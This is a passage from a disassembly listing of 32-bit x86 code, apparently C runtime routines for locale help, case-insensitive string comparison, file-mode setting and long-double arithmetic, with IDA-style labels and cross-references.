; DATA XREF: sub_42F440+8Br ; --------------------------------------------------------------------------- or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] or cl, [edx] or cl, [edx] add cl, [edx] or cl, [edx] or al, [ebx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or cl, [edx] or al, [ecx] or cl, [edx] add al, 0Ah or cl, [edx] add eax, 0A0A0A0Ah push es or cl, [edx] or cl, [edx] or al, [edi] or [edx], cl or cl, [edx] or cl, [ecx] loc_42F93F: ; DATA XREF: sub_42F440+B0r div esp inc edx add [ecx], al cmc inc edx add [edi], al cmc inc edx loc_42F94A: ; DATA XREF: sub_42F440+EEr add ds:350042F5h, cl cmc inc edx add [edi], bh cmc inc edx add [ebp-0Bh], al inc edx add [ebx-0Bh], cl inc edx add ah, cl ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F960 proc near ; CODE XREF: sub_42A9B0+41p ; sub_42A9B0+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_42FAC9 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_430950 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_42FA4F nop call near ptr 26908EFh cmp eax, 7Ah jz short loc_42F9D0 jmp loc_42FAAD ; --------------------------------------------------------------------------- loc_42F9D0: ; CODE XREF: sub_42F960+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_430950 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_42F9FA jmp loc_42FAAD ; --------------------------------------------------------------------------- loc_42F9FA: ; CODE XREF: sub_42F960+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_414DD0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42FA20 jmp loc_42FAAD ; --------------------------------------------------------------------------- loc_42FA20: ; CODE XREF: sub_42F960+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_430950 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42FA4F jmp short loc_42FAAD ; --------------------------------------------------------------------------- loc_42FA4F: ; CODE XREF: sub_42F960+5Aj ; sub_42F960+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_414DD0 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_42FA79 jmp short loc_42FAAD ; --------------------------------------------------------------------------- loc_42FA79: ; CODE XREF: sub_42F960+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_417770 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_42FAA6 push 2 mov edx, [ebp+var_C] push edx call sub_415860 add esp, 8 loc_42FAA6: ; CODE XREF: sub_42F960+136j xor eax, eax jmp loc_42FBE6 ; --------------------------------------------------------------------------- loc_42FAAD: ; CODE XREF: sub_42F960+6Bj ; sub_42F960+95j ... cmp [ebp+var_4], 0 jz short loc_42FAC1 push 2 mov eax, [ebp+var_C] push eax call sub_415860 add esp, 8 loc_42FAC1: ; CODE XREF: sub_42F960+151j or eax, 0FFFFFFFFh jmp loc_42FBE6 ; --------------------------------------------------------------------------- loc_42FAC9: ; CODE XREF: sub_42F960+Dj cmp [ebp+arg_0], 0 jnz loc_42FBE3 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4DB430 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_4307B0 add esp, 14h test eax, eax jnz short loc_42FB10 or eax, 0FFFFFFFFh jmp loc_42FBE6 ; --------------------------------------------------------------------------- loc_42FB10: ; CODE XREF: sub_42F960+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_42FB34 ; --------------------------------------------------------------------------- loc_42FB25: ; CODE XREF: sub_42F960:loc_42FBDAj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_42FB34: ; CODE XREF: sub_42F960+1C3j cmp [ebp+var_A0], 4 jge loc_42FBDF cmp dword_443B70, 1 jle short loc_42FB7B push 4 mov ecx, [ebp+var_A0] mov dl, byte_4DB430[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_41DA90 add esp, 8 mov [ebp+var_A8], eax jmp short loc_42FBAE ; --------------------------------------------------------------------------- loc_42FB7B: ; CODE XREF: sub_42F960+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4DB430[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_42FBAE: ; CODE XREF: sub_42F960+219j cmp [ebp+var_A8], 0 jz short loc_42FBD8 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_42FBDA ; --------------------------------------------------------------------------- loc_42FBD8: ; CODE XREF: sub_42F960+255j jmp short loc_42FBDF ; --------------------------------------------------------------------------- loc_42FBDA: ; CODE XREF: sub_42F960+276j jmp loc_42FB25 ; --------------------------------------------------------------------------- loc_42FBDF: ; CODE XREF: sub_42F960+1DBj ; sub_42F960:loc_42FBD8j xor eax, eax jmp short loc_42FBE6 ; --------------------------------------------------------------------------- loc_42FBE3: ; CODE XREF: sub_42F960+16Dj or eax, 0FFFFFFFFh loc_42FBE6: ; CODE XREF: sub_42F960+148j ; sub_42F960+164j ... mov esp, ebp pop ebp retn sub_42F960 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_444E98 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FC00 proc near ; CODE XREF: sub_42B9E0+216p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434E88 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB43C, 0 jnz short loc_42FC7E lea eax, [ebp+var_1C] push eax push 1 push offset dword_434260 push 1 nop call near ptr 2650000h test eax, eax jz short loc_42FC52 mov dword_4DB43C, 1 jmp short loc_42FC7E ; --------------------------------------------------------------------------- loc_42FC52: ; CODE XREF: sub_42FC00+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43425C push 1 push 0 call near ptr 2660000h nop test eax, eax jz short loc_42FC77 mov dword_4DB43C, 2 jmp short loc_42FC7E ; --------------------------------------------------------------------------- loc_42FC77: ; CODE XREF: sub_42FC00+69j xor eax, eax jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FC7E: ; CODE XREF: sub_42FC00+2Dj ; sub_42FC00+50j ... cmp dword_4DB43C, 1 jnz short loc_42FCA2 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 2650000h jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FCA2: ; CODE XREF: sub_42FC00+85j cmp dword_4DB43C, 2 jnz loc_42FE57 cmp [ebp+arg_10], 0 jnz short loc_42FCBD mov eax, dword_4DB1C8 mov [ebp+arg_10], eax loc_42FCBD: ; CODE XREF: sub_42FC00+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax nop call near ptr 2710000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42FCEC xor eax, eax jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FCEC: ; CODE XREF: sub_42FC00+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_417070 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42FD3E ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42FD3E: ; CODE XREF: sub_42FC00+125j cmp [ebp+var_2C], 0 jnz short loc_42FD4B xor eax, eax jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FD4B: ; CODE XREF: sub_42FC00+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx nop call near ptr 2710000h test eax, eax jnz short loc_42FD79 xor eax, eax jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FD79: ; CODE XREF: sub_42FC00+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42FDBD ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42FDBD: ; CODE XREF: sub_42FC00+1A4j cmp [ebp+var_24], 0 jnz short loc_42FDCA xor eax, eax jmp loc_42FE59 ; --------------------------------------------------------------------------- loc_42FDCA: ; CODE XREF: sub_42FC00+1C1j cmp [ebp+arg_14], 0 jnz short loc_42FDD9 mov edx, dword_4DB1B8 mov [ebp+arg_14], edx loc_42FDD9: ; CODE XREF: sub_42FC00+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx call near ptr 2660000h nop mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_42FE38 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_42FE3C loc_42FE38: ; CODE XREF: sub_42FC00+222j xor eax, eax jmp short loc_42FE59 ; --------------------------------------------------------------------------- loc_42FE3C: ; CODE XREF: sub_42FC00+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_4197C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_42FE59 ; --------------------------------------------------------------------------- loc_42FE57: ; CODE XREF: sub_42FC00+A9j xor eax, eax loc_42FE59: ; CODE XREF: sub_42FC00+79j ; sub_42FC00+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42FC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE70 proc near ; CODE XREF: sub_42C010+40p ; sub_42C160+5Fp ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB1B0 cmp dword ptr [eax+8], 0 jnz short loc_42FEC3 mov al, 0FFh mov edi, edi loc_42FE8C: ; CODE XREF: sub_42FE70+28j ; sub_42FE70+48j or al, al jz short loc_42FEBE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_42FE8C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_42FE8C sbb al, al sbb al, 0FFh loc_42FEBE: ; CODE XREF: sub_42FE70+1Ej movsx eax, al jmp short loc_42FF3B ; --------------------------------------------------------------------------- loc_42FEC3: ; CODE XREF: sub_42FE70+16j lock inc dword_4DB45C cmp dword_4DB458, 0 jg short loc_42FED7 push 0 jmp short loc_42FEEC ; --------------------------------------------------------------------------- loc_42FED7: ; CODE XREF: sub_42FE70+61j lock dec dword_4DB45C push 13h call sub_41B780 mov [esp+10h+var_10], 1 loc_42FEEC: ; CODE XREF: sub_42FE70+65j mov eax, 0FFh xor ebx, ebx nop loc_42FEF4: ; CODE XREF: sub_42FE70+90j ; sub_42FE70+A8j or al, al jz short loc_42FF1F mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_42FEF4 push eax push ebx call sub_41A6D0 mov ebx, eax add esp, 4 call sub_41A6D0 add esp, 4 cmp bl, al jz short loc_42FEF4 sbb eax, eax sbb eax, 0FFFFFFFFh loc_42FF1F: ; CODE XREF: sub_42FE70+86j mov ebx, eax pop eax or eax, eax jnz short loc_42FF2F lock dec dword_4DB45C jmp short loc_42FF39 ; --------------------------------------------------------------------------- loc_42FF2F: ; CODE XREF: sub_42FE70+B4j push 13h call sub_41B820 add esp, 4 loc_42FF39: ; CODE XREF: sub_42FE70+BDj mov eax, ebx loc_42FF3B: ; CODE XREF: sub_42FE70+51j pop ebx pop esi pop edi leave retn sub_42FE70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF40 proc near ; CODE XREF: sub_42C160+11Bp ; sub_42C160+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_43003A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4DB1B0 cmp dword ptr [eax+8], 0 jnz short loc_42FFB1 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_42FF6C: ; CODE XREF: sub_42FF40+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_42FF95 or al, al jz short loc_42FF95 inc esi inc edi cmp ah, bh jb short loc_42FF84 cmp ah, bl ja short loc_42FF84 add ah, dh loc_42FF84: ; CODE XREF: sub_42FF40+3Cj ; sub_42FF40+40j cmp al, bh jb short loc_42FF8E cmp al, bl ja short loc_42FF8E add al, dh loc_42FF8E: ; CODE XREF: sub_42FF40+46j ; sub_42FF40+4Aj cmp ah, al jnz short loc_42FF9F dec ecx jnz short loc_42FF6C loc_42FF95: ; CODE XREF: sub_42FF40+32j ; sub_42FF40+36j xor ecx, ecx cmp ah, al jz loc_43003A loc_42FF9F: ; CODE XREF: sub_42FF40+50j mov ecx, 0FFFFFFFFh jb loc_43003A neg ecx jmp loc_43003A ; --------------------------------------------------------------------------- loc_42FFB1: ; CODE XREF: sub_42FF40+21j lock inc dword_4DB45C cmp dword_4DB458, 0 jg short loc_42FFC5 push 0 jmp short loc_42FFDE ; --------------------------------------------------------------------------- loc_42FFC5: ; CODE XREF: sub_42FF40+7Fj lock dec dword_4DB45C mov ebx, ecx push 13h call sub_41B780 mov [esp+10h+var_10], 1 mov ecx, ebx loc_42FFDE: ; CODE XREF: sub_42FF40+83j xor eax, eax xor ebx, ebx mov edi, edi loc_42FFE4: ; CODE XREF: sub_42FF40+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_43000F or ebx, ebx jz short loc_43000F inc esi inc edi push ecx push eax push ebx call sub_41A6D0 mov ebx, eax add esp, 4 call sub_41A6D0 add esp, 4 pop ecx cmp eax, ebx jnz short loc_430015 dec ecx jnz short loc_42FFE4 loc_43000F: ; CODE XREF: sub_42FF40+AAj ; sub_42FF40+AEj xor ecx, ecx cmp eax, ebx jz short loc_43001E loc_430015: ; CODE XREF: sub_42FF40+CAj mov ecx, 0FFFFFFFFh jb short loc_43001E neg ecx loc_43001E: ; CODE XREF: sub_42FF40+D3j ; sub_42FF40+DAj pop eax or eax, eax jnz short loc_43002C lock dec dword_4DB45C jmp short loc_43003A ; --------------------------------------------------------------------------- loc_43002C: ; CODE XREF: sub_42FF40+E1j mov ebx, ecx push 13h call sub_41B820 add esp, 4 mov ecx, ebx loc_43003A: ; CODE XREF: sub_42FF40+Bj ; sub_42FF40+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_42FF40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4DB560 jnb short loc_430081 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_430091 loc_430081: ; CODE XREF: ___:0043005Dj call sub_420520 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_4300BF ; --------------------------------------------------------------------------- loc_430091: ; CODE XREF: ___:0043007Fj mov edx, [ebp+8] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_4300D0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_427C70 add esp, 4 mov eax, [ebp-4] loc_4300BF: ; CODE XREF: ___:0043008Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4300D0 proc near ; CODE XREF: sub_42CE20+D4p ; sub_42CE20+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_430139 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4DB460[edx*4] mov [edx+eax+4], cl jmp short loc_43018A ; --------------------------------------------------------------------------- loc_430139: ; CODE XREF: sub_4300D0+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43017A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4DB460[ecx*4] mov [ecx+edx+4], al jmp short loc_43018A ; --------------------------------------------------------------------------- loc_43017A: ; CODE XREF: sub_4300D0+70j call sub_420520 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43019B ; --------------------------------------------------------------------------- loc_43018A: ; CODE XREF: sub_4300D0+67j ; sub_4300D0+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43019B: ; CODE XREF: sub_4300D0+B8j mov esp, ebp pop ebp retn sub_4300D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301A0 proc near ; CODE XREF: sub_42D080+9Bp ; sub_431230+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_4301AE xor eax, eax jmp short loc_4301EB ; --------------------------------------------------------------------------- loc_4301AE: ; CODE XREF: sub_4301A0+8j mov eax, dword_4DB564 push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, dword_4DB784 push edx call sub_430B00 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4301E5 mov eax, 7FFFFFFFh jmp short loc_4301EB ; --------------------------------------------------------------------------- loc_4301E5: ; CODE XREF: sub_4301A0+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_4301EB: ; CODE XREF: sub_4301A0+Cj ; sub_4301A0+43j mov esp, ebp pop ebp retn sub_4301A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4301F0 proc near ; CODE XREF: sub_42D080+2Dp ; sub_430F50+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4DB0D4 mov [ebp+var_4], eax loc_4301FE: ; CODE XREF: sub_4301F0+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_430298 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 nop call near ptr 2710000h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_430232 or eax, 0FFFFFFFFh jmp short loc_43029A ; --------------------------------------------------------------------------- loc_430232: ; CODE XREF: sub_4301F0+3Bj push 3Dh push offset dword_434EA0 push 2 mov ecx, [ebp+var_C] push ecx call sub_414DD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_430255 or eax, 0FFFFFFFFh jmp short loc_43029A ; --------------------------------------------------------------------------- loc_430255: ; CODE XREF: sub_4301F0+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call near ptr 2710000h nop test eax, eax jnz short loc_43027C or eax, 0FFFFFFFFh jmp short loc_43029A ; --------------------------------------------------------------------------- loc_43027C: ; CODE XREF: sub_4301F0+85j push 0 mov eax, [ebp+var_8] push eax call sub_430F50 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_4301FE ; --------------------------------------------------------------------------- loc_430298: ; CODE XREF: sub_4301F0+14j xor eax, eax loc_43029A: ; CODE XREF: sub_4301F0+40j ; sub_4301F0+63j ... mov esp, ebp pop ebp retn sub_4301F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4302A0 proc near ; CODE XREF: sub_42DFD0+2B5p ; sub_4306E0+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_43035D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_43035D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_430394 loc_43035D: ; CODE XREF: sub_4302A0+9Bj ; sub_4302A0+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_4306D9 ; --------------------------------------------------------------------------- loc_430394: ; CODE XREF: sub_4302A0+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_4303C7 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_4306D9 ; --------------------------------------------------------------------------- loc_4303C7: ; CODE XREF: sub_4302A0+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_43040D mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_43040D mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_43040D mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_43040D mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_4306D9 ; --------------------------------------------------------------------------- loc_43040D: ; CODE XREF: sub_4302A0+131j ; sub_4302A0+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_430469 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_430469 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_430469 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_430469 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_4306D9 ; --------------------------------------------------------------------------- loc_430469: ; CODE XREF: sub_4302A0+178j ; sub_4302A0+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_430482 ; --------------------------------------------------------------------------- loc_430479: ; CODE XREF: sub_4302A0+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_430482: ; CODE XREF: sub_4302A0+1D7j cmp [ebp+var_1C], 5 jge loc_430541 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_4304B1 ; --------------------------------------------------------------------------- loc_4304A8: ; CODE XREF: sub_4302A0+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_4304B1: ; CODE XREF: sub_4302A0+206j cmp [ebp+var_34], 0 jle short loc_430533 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, 